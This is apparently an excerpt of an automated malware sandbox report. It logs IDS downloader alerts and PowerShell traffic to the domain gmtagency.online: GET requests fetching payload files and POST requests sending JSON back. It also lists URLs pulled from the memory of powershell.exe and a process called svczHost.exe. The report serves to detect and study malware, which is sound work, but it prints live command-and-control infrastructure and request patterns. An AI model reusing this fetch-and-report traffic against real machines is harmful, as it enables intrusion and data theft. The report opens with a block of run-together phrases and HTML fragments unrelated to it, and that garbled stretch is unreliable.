Emperoralmost exclusively" border="0" alt="Secretary of Stateculminating in theCIA World Factbookthe most importantanniversary of thestyle="background-<li><em><a href="/the Atlantic Oceanstrictly speaking,shortly before thedifferent types ofthe Ottoman Empire><img src="http://An Introduction toconsequence of thedeparture from theConfederate Statesindigenous peoplesProceedings of theinformation on thetheories have beeninvolvement in thedivided into threeadjacent countriesis responsible fordissolution of thecollaboration withwidely regarded ashis contemporariesfounding member ofDominican Republicgenerally acceptedthe possibility ofare also availableunder constructionrestoration of thethe general publicis almost entirelypasses through thehas been suggestedcomputer and videoGermanic languages according to the different from theshortly afterwardshref="https://www.recent developmentBoard of Directors<div class="search\| <a href="http://In particular, theMultiple footnotesor other substancethousands of yearstranslation of the</div>

Source: global traffic	HTTP traffic detected: GET /StaticFile/RdpService/91 HTTP/1.1Host: gmtagency.online
Source: global traffic	HTTP traffic detected: GET /api/check HTTP/1.1Host: gmtagency.onlineConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49705 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49707 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49709 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.5:49868 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49880 -> 188.114.97.3:443

Source: global traffic	HTTP traffic detected: GET /0Dkz7n HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.onlineConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file3/77bd1c037f735ab3a82a0b38c9abbc302a447e1b0cdcb740bb8ed41e8bc1e28fe55f5292ac48064cc9f6b0f0207f961cf888ab6d838c88b93e528dcb49285dc5d3868388891d022d7c4d5917e79efb77320897b36777029f8dbedbda7d9256fa/Windows%20Defender/4/4/user/196 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.online
Source: global traffic	HTTP traffic detected: POST /2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b83770e2b318095af45e58b24db407ff2f HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.onlineContent-Length: 305
Source: global traffic	HTTP traffic detected: GET /file2/87fdaf0280adf3fbc48b0ff42350af2fbd4ec7bb2f1f7602601568418f7576395f467672b733887fd46f2dde4c83f0005cc757052184d3f214f46c0b0f0cf5998c7d55a818fe1e93fa36f3bff1d990d863cd0a412d91160b768347b3969805612e5dc8bc7a45d72cd6061123b65c9398 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.online
Source: global traffic	HTTP traffic detected: POST /2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b81af370a0fc53a2749dd204bd2d59a650 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.onlineContent-Length: 305
Source: global traffic	HTTP traffic detected: GET /file2/60ef76e9db7116693364d6d6d5c46eca46dd3940bbdf59007c52da15a85c1637c3d68ed9b528187c5db4718597f02d21072c2c034e2706066f31a4c1e5390879c696eadf01811b26bb7dfe06677f97dbcef20be4b54b0ccb138f3acbb81152197e955cc0e87105f7ac4bc6be65825098 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.online
Source: global traffic	HTTP traffic detected: POST /2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f1bbebbccff7ba9c62dc379cc23851a0 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.onlineContent-Length: 85
Source: global traffic	HTTP traffic detected: POST /2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f1bbebbccff7ba9c62dc379cc23851a0 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.onlineContent-Length: 86
Source: global traffic	HTTP traffic detected: GET /file2/282c5801f46fcda2f05a0753c406ba90ef61497ac93e4afda4a01872ecfc3b3b0547cc186ef952e03434e53d14a6be634cc8976c1de586c6716f1299450c444bdca9c3eed651a15ce96c3d1ed385d68e046d90581d0518767912d0a8edd694f9b22d70d1c6269597baf745481c650497 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.onlineConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f1bbebbccff7ba9c62dc379cc23851a0 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.onlineContent-Length: 62
Source: global traffic	HTTP traffic detected: GET /file2/84e009c5e29882323580b7c700d6d7fbf207df368df023a607710ca7f4c16856cff97b78654a883999182a054047890c863ba38cd142dc11cce8f76106379ad2e15601f04be4f6408483c515afddf40f1a60a87185af95c3d6e14b1b85f1d36ed69abb735a67351e2128ffb73d449c3b HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.onlineConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f4d4fc9b1eda516eb3c7ff9a53861116 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.onlineContent-Length: 140
Source: global traffic	HTTP traffic detected: POST /2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f4d4fc9b1eda516eb3c7ff9a53861116 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.onlineContent-Length: 69
Source: global traffic	HTTP traffic detected: GET /file2/30bb492ec87899a2b4a8fa5c9eeec469cb660094eba33581c6dea113fbc01c861a0f732c16a5d6a1c436c513590ee7ddfc594f22cd2ed0767e9af9a14520fa71c6f1ceccf1991e36a5391763db9ad6583f43343277a3bbe69d7a76e3b9c488ab HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.online
Source: global traffic	HTTP traffic detected: POST /2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f4d4fc9b1eda516eb3c7ff9a53861116 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.onlineContent-Length: 200
Source: global traffic	HTTP traffic detected: POST /2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f4d4fc9b1eda516eb3c7ff9a53861116 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.onlineContent-Length: 97
Source: global traffic	HTTP traffic detected: POST /2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f4d4fc9b1eda516eb3c7ff9a53861116 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.onlineContent-Length: 64

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /0Dkz7n HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.onlineConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file3/77bd1c037f735ab3a82a0b38c9abbc302a447e1b0cdcb740bb8ed41e8bc1e28fe55f5292ac48064cc9f6b0f0207f961cf888ab6d838c88b93e528dcb49285dc5d3868388891d022d7c4d5917e79efb77320897b36777029f8dbedbda7d9256fa/Windows%20Defender/4/4/user/196 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.online
Source: global traffic	HTTP traffic detected: GET /file2/87fdaf0280adf3fbc48b0ff42350af2fbd4ec7bb2f1f7602601568418f7576395f467672b733887fd46f2dde4c83f0005cc757052184d3f214f46c0b0f0cf5998c7d55a818fe1e93fa36f3bff1d990d863cd0a412d91160b768347b3969805612e5dc8bc7a45d72cd6061123b65c9398 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.online
Source: global traffic	HTTP traffic detected: GET /file2/60ef76e9db7116693364d6d6d5c46eca46dd3940bbdf59007c52da15a85c1637c3d68ed9b528187c5db4718597f02d21072c2c034e2706066f31a4c1e5390879c696eadf01811b26bb7dfe06677f97dbcef20be4b54b0ccb138f3acbb81152197e955cc0e87105f7ac4bc6be65825098 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.online
Source: global traffic	HTTP traffic detected: GET /file2/282c5801f46fcda2f05a0753c406ba90ef61497ac93e4afda4a01872ecfc3b3b0547cc186ef952e03434e53d14a6be634cc8976c1de586c6716f1299450c444bdca9c3eed651a15ce96c3d1ed385d68e046d90581d0518767912d0a8edd694f9b22d70d1c6269597baf745481c650497 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.onlineConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file2/84e009c5e29882323580b7c700d6d7fbf207df368df023a607710ca7f4c16856cff97b78654a883999182a054047890c863ba38cd142dc11cce8f76106379ad2e15601f04be4f6408483c515afddf40f1a60a87185af95c3d6e14b1b85f1d36ed69abb735a67351e2128ffb73d449c3b HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.onlineConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /file2/30bb492ec87899a2b4a8fa5c9eeec469cb660094eba33581c6dea113fbc01c861a0f732c16a5d6a1c436c513590ee7ddfc594f22cd2ed0767e9af9a14520fa71c6f1ceccf1991e36a5391763db9ad6583f43343277a3bbe69d7a76e3b9c488ab HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.online
Source: global traffic	HTTP traffic detected: GET /StaticFile/RdpService/91 HTTP/1.1Host: gmtagency.online
Source: global traffic	HTTP traffic detected: GET /api/check HTTP/1.1Host: gmtagency.onlineConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: gmtagency.online

Source: unknown

HTTP traffic detected: POST /2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b83770e2b318095af45e58b24db407ff2f HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: gmtagency.onlineContent-Length: 305

Source: powershell.exe, 00000010.00000002.3135574746.0000012C2F460000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 0000001B.00000002.3530586352.00007FF7C177A000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://.css
Source: powershell.exe, 00000010.00000002.3135574746.0000012C2F460000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 0000001B.00000002.3530586352.00007FF7C177A000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://.jpg
Source: powershell.exe, 0000001F.00000002.3495606337.0000022FADF07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: powershell.exe, 0000001F.00000002.3501757170.0000022FADF19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m:
Source: svchost.exe, 00000013.00000002.3534051090.0000015C19200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000013.00000003.2282175695.0000015C19070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 0000000A.00000002.2266576223.000001CE02C3D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2663604255.0000012C208C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://gmtagency.online
Source: svczHost.exe, 0000001B.00000002.3527944837.000001BC71806000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://gmtagency.online/api/check
Source: svczHost.exe, 0000001B.00000002.3527944837.000001BC71806000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://gmtagency.online:80/x
Source: powershell.exe, 00000010.00000002.3135574746.0000012C2F460000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 0000001B.00000002.3530586352.00007FF7C177A000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: powershell.exe, 00000002.00000002.2097153241.000002869007E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2097153241.00000286901B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2083999219.00000286818FD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2501273768.0000017834412000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2501273768.00000178345A5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2360864452.000001CE11FF3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.3439807072.0000022FA5A71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.3439807072.0000022FA5BB3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2703778933.000001A901976000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3414931385.000001A910071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000023.00000002.2703778933.000001A900229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000A.00000002.2266576223.000001CE02260000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2663604255.0000012C1F0D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2703778933.000001A900936000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2703778933.000001A900229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: svczHost.exe, svczHost.exe, 0000001B.00000002.3529891980.00007FF7C14EF000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid
Source: powershell.exe, 00000010.00000002.3135574746.0000012C2F460000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 0000001B.00000002.3530586352.00007FF7C177A000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY
Source: powershell.exe, 00000002.00000002.2083999219.0000028680001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2366923733.00000178243A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2266576223.000001CE01F81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3135574746.0000012C2F460000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2663604255.0000012C1EBB1000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 0000001B.00000002.3530586352.00007FF7C177A000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 0000001B.00000002.3529891980.00007FF7C14EF000.00000004.00000001.01000000.0000000B.sdmp, powershell.exe, 0000001F.00000002.2715756803.0000022F95A01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2703778933.000001A900001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000A.00000002.2266576223.000001CE02260000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2663604255.0000012C1F0D8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2703778933.000001A900936000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2703778933.000001A900229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000002.00000002.2083999219.0000028681485000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000023.00000002.2703778933.000001A900229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 0000000A.00000002.2380272852.000001CE1A450000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3479013967.000001A970756000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.micom/pkiops/Docs/ry.htm0
Source: powershell.exe, 00000010.00000002.3353211708.0000012C38129000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2701543036.0000022F95010000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 00000010.00000002.3135574746.0000012C2F460000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 0000001B.00000002.3530586352.00007FF7C177A000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 0000001B.00000002.3529891980.00007FF7C14EF000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://aka.ms/GlobalizationInvariantMode
Source: powershell.exe, 00000010.00000002.3135574746.0000012C2EC50000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.3135574746.0000012C2F460000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 0000001B.00000002.3530586352.00007FF7C177A000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 0000001B.00000002.3530586352.00007FF7C1661000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 0000001B.00000002.3529891980.00007FF7C14EF000.00000004.00000001.01000000.0000000B.sdmp, svczHost.exe, 0000001B.00000000.2643326079.00007FF7C1661000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://aka.ms/dotnet-warnings/
Source: svczHost.exe	String found in binary or memory: https://aka.ms/nativeaot-c
Source: svczHost.exe, 0000001B.00000002.3529891980.00007FF7C14EF000.00000004.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibility
Source: svczHost.exe, 0000001B.00000002.3530586352.00007FF7C177A000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibilityY
Source: powershell.exe, 00000010.00000002.3135574746.0000012C2F460000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 0000001B.00000002.3530586352.00007FF7C177A000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://aka.ms/nativeaot-compatibilityy
Source: powershell.exe, 00000002.00000002.2083999219.0000028680001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2366923733.00000178243A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2266576223.000001CE01F81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2663604255.0000012C1EBB1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2715756803.0000022F95A01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2703778933.000001A900001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000023.00000002.2703778933.000001A901137000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2703778933.000001A90131A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000010.00000002.2663604255.0000012C21277000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2663604255.0000012C21251000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2703778933.000001A90162D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelpX
Source: powershell.exe, 00000023.00000002.3414931385.000001A910071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000023.00000002.3414931385.000001A910071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000023.00000002.3414931385.000001A910071000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: svchost.exe, 00000013.00000003.2282175695.0000015C190E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000013.00000003.2282175695.0000015C19070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: powershell.exe, 00000023.00000002.2703778933.000001A900229000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000010.00000002.3135574746.0000012C2EC50000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 0000001B.00000002.3530586352.00007FF7C1661000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 0000001B.00000000.2643326079.00007FF7C1661000.00000002.00000001.01000000.0000000B.sdmp	String found in binary or memory: https://github.com/dotnet/runtime
Source: powershell.exe, 00000005.00000002.2366923733.0000017825859000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2366923733.00000178256DB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2366923733.0000017825A85000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2366923733.00000178245C8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2266576223.000001CE02C03000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2663604255.0000012C208C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2663604255.0000012C1EF2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gmtagency.online
Source: powershell.exe, 00000005.00000002.2366923733.00000178245C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gmtagency.online/0Dkz7n
Source: powershell.exe, 00000005.00000002.2366923733.0000017824EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gmtagency.online/2b4078cX
Source: powershell.exe, 00000005.00000002.2366923733.0000017824789000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gmtagency.online/2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b81af370a0fc5
Source: powershell.exe, 00000005.00000002.2366923733.0000017824789000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gmtagency.online/2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b83770e2b3180
Source: powershell.exe, 00000005.00000002.2366923733.0000017824EC2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2366923733.0000017825A85000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gmtagency.online/2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f1bbebbccff
Source: powershell.exe, 00000010.00000002.2663604255.0000012C1EF6B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2663604255.0000012C208C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gmtagency.online/2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b8f4d4fc9b1ed
Source: powershell.exe, 00000005.00000002.2366923733.0000017824EA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gmtagency.online/2b4078cc626cf9f1ca848fab93b1338a6070d79X
Source: powershell.exe, 00000005.00000002.2366923733.0000017824EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gmtagency.online/file2/282c5801f46fcda2f05a0753c406ba90e
Source: powershell.exe, 0000000A.00000002.2266576223.000001CE02C03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gmtagency.online/file2/282c5801f46fcda2f05a0753c406ba90ef61497ac93e4afda4a01872ecfc3b3b0547c
Source: powershell.exe, 00000010.00000002.2663604255.0000012C1EF6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gmtagency.online/file2/30bb492ec87899a2b4a8fa5c9eeec469cb660094eba33581c6dea113fbc01c861a0f7
Source: powershell.exe, 00000005.00000002.2366923733.0000017824789000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2366923733.0000017824A6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gmtagency.online/file2/60ef76e9db7116693364d6d6d5c46eca46dd3940bbdf59007c52da15a85c1637c3d68
Source: powershell.exe, 00000010.00000002.2663604255.0000012C1EDD9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2663604255.0000012C1EBB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gmtagency.online/file2/84e009c5e29882323580b7c700d6d7fbf207df368df023a607710ca7f4c16856cff97
Source: powershell.exe, 00000005.00000002.2366923733.0000017824789000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gmtagency.online/file2/87fdaf0280adf3fbc48b0ff42350af2fbd4ec7bb2f1f7602601568418f7576395f467
Source: powershell.exe, 00000005.00000002.2366923733.0000017824EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gmtagency.online/file2/c
Source: powershell.exe, 00000005.00000002.2366923733.0000017824EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gmtagency.online/file2/cX
Source: powershell.exe, 00000005.00000002.2366923733.0000017824EC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gmtagency.online/file2/cebf0425bc9318b5b618fcaa326c0aee10c71adae93aa54b3e8d9f64db93ac93d8e02
Source: powershell.exe, 00000005.00000002.2366923733.0000017824789000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gmtagency.online/file3/77bd1c037f735ab3a82a0b38c9abbc302a447e1b0cdcb740bb8ed41e8bc1e28fe55f5
Source: powershell.exe, 0000001F.00000002.2715756803.0000022F9718D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.2703778933.000001A90162D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 0000000A.00000002.2372282434.000001CE1A0EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.co
Source: App1731628863104346500_3A4C5484-9A89-4F44-8814-E378744E4EC2.log.13.dr	String found in binary or memory: https://login.windows.net
